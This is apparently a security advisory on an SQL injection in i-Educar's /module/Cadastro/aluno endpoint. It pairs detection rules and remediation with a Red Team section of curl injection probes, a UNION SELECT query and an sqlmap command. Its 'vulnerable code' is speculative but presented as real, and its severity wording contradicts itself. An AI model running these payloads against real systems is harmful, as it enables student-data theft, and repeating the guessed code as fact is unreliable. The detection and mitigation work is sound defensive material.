CVE-2025-10844

Executive Summary

CVE-2025-10844 is a critical SQL injection vulnerability discovered in Portabilis i-Educar, a widely used educational management platform in Brazil. The flaw resides in the /module/Cadastro/aluno endpoint, where the is parameter is improperly sanitized before being used in a database query. An unauthenticated attacker can exploit this remotely to inject arbitrary SQL commands, potentially leading to data exfiltration, authentication bypass, or full database compromise. The vulnerability has a CVSS score of 6.3 (Medium) but is considered high-risk due to the public availability of exploit details and the lack of a vendor patch. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but this may change as awareness grows.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). i-Educar is a PHP-based monolithic application typically deployed via Git or manual installation. The risk is primarily to self-hosted instances.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Base Score: 6.3 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Limited data modification possible.
• Availability Impact: Low (A:L) – Limited service disruption possible.

Threat Level: Medium. While the CVSS score is moderate, the public exploit and lack of patch elevate the real-world risk for unpatched instances.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the is parameter of the /module/Cadastro/aluno endpoint. The application likely constructs a SQL query by directly concatenating user input without proper sanitization or parameterized queries. For example, the vulnerable code might look like:

$id = $_GET['is'];
$query = "SELECT * FROM alunos WHERE id = $id";
$result = mysqli_query($conn, $query);

An attacker can inject SQL commands by appending a single quote or other SQL metacharacters. The injection point is in the is parameter, which is used to filter or identify a specific student record. The database backend is likely MySQL or PostgreSQL.

Attack Flow:

1. Attacker sends a crafted HTTP GET request to /module/Cadastro/aluno?is=1' OR '1'='1.
2. The application processes the request without sanitizing the is parameter.
3. The SQL query becomes: SELECT * FROM alunos WHERE id = 1' OR '1'='1.
4. The database returns all rows, bypassing the intended filter.
5. The attacker can then use UNION-based or blind SQL injection techniques to extract data.

Potential Impact:

• Data Exfiltration: Steal student records, teacher credentials, or system configuration.
• Authentication Bypass: Modify login queries to gain admin access.
• Database Compromise: Execute xp_cmdshell (if SQL Server) or write webshells (if MySQL with INTO OUTFILE).

Vulnerable vs. Patched Code

Vulnerable Code (i-Educar <= 2.10):

// File: /module/Cadastro/aluno
$id = $_GET['is'];
$query = "SELECT * FROM alunos WHERE id = $id";
$result = mysqli_query($conn, $query);

Patched Code (Hypothetical):

// File: /module/Cadastro/aluno
$id = intval($_GET['is']); // Cast to integer
$query = "SELECT * FROM alunos WHERE id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "i", $id);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

The patched version uses parameterized queries (prepared statements) to prevent SQL injection. The intval() function also ensures only numeric input is accepted.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable i-Educar instance (version <= 2.10).
• A tool like sqlmap or manual HTTP client (e.g., curl).

Manual Exploitation:

1. Verify Injection:

   curl "http://target/module/Cadastro/aluno?is=1'"
   

   If the server returns an error (e.g., MySQL syntax error), the injection is confirmed.

2. Extract Database Version:

   curl "http://target/module/Cadastro/aluno?is=1' UNION SELECT 1,@@version,3,4-- -"
   

3. Automated Exploitation with sqlmap:

   sqlmap -u "http://target/module/Cadastro/aluno?is=1" --batch --dbs
   

Proof-of-Concept (PoC) Payload:

1' OR '1'='1' -- -

Blue Team (Defensive)

Detection Steps:

1. Monitor Web Logs: Look for requests to /module/Cadastro/aluno with unusual is parameter values (e.g., containing ', OR, UNION, --).
2. Database Monitoring: Enable query logging and watch for anomalous SQL statements.
3. WAF Rules: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block SQL injection patterns.

Honeypot Setup:

• Deploy a decoy i-Educar instance with enhanced logging to capture attacker behavior.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /module/Cadastro/aluno with is parameter containing SQL metacharacters (', ", ;, --).
  • Outbound database connections from the web server to unknown IPs (data exfiltration).
• File IOCs:
  • Unexpected files in the web root (e.g., shell.php, cmd.php).
  • Modified .htaccess or nginx.conf files.
• Log IOCs:
  • Database error logs containing SQL syntax errors.
  • Web server access logs with repeated UNION SELECT patterns.

Detection Engineering

YARA Rule

rule CVE_2025_10844_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-10844 in i-Educar"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-10844"
    strings:
        $sqli_pattern1 = /is=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli_pattern2 = /is=\d+['\"]\s*--/
        $sqli_pattern3 = /is=\d+\s+OR\s+['\"]1['\"]\s*=\s*['\"]1['\"]/
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-10844 SQL Injection Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against i-Educar /module/Cadastro/aluno endpoint
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: 
            - "/module/Cadastro/aluno?is="
        cs-uri-query|re: 
            - "['\"]\\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)"
    condition: selection
falsepositives:
    - Legitimate use of special characters in student IDs (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-10844 i-Educar SQL Injection Attempt";
    flow:to_server,established;
    content:"/module/Cadastro/aluno"; http_uri;
    content:"is="; http_uri;
    pcre:"/is=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:cve,2025-10844;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate Vulnerable Systems: If possible, take the i-Educar instance offline or restrict network access.
2. Apply Virtual Patching: Use a WAF to block SQL injection patterns on the /module/Cadastro/aluno endpoint.
3. Upgrade/Downgrade: Since no patch is available, consider downgrading to a version before the vulnerability was introduced (if known) or migrating to an alternative platform.

Long-Term Fixes:

1. Code Review: Audit the entire codebase for similar SQL injection flaws.
2. Parameterized Queries: Replace all dynamic SQL with prepared statements.
3. Input Validation: Implement strict input validation (e.g., only allow numeric IDs for the is parameter).
4. Security Hardening: Apply the principle of least privilege to database accounts.

Workaround:

• Modify the .htaccess or Nginx config to block requests with suspicious is parameter values:

  RewriteEngine On
  RewriteCond %{QUERY_STRING} (is=.*['\"]|is=.*OR|is=.*UNION) [NC]
  RewriteRule .* - [F,L]
  

Valters IT
Securing Digital Frontiers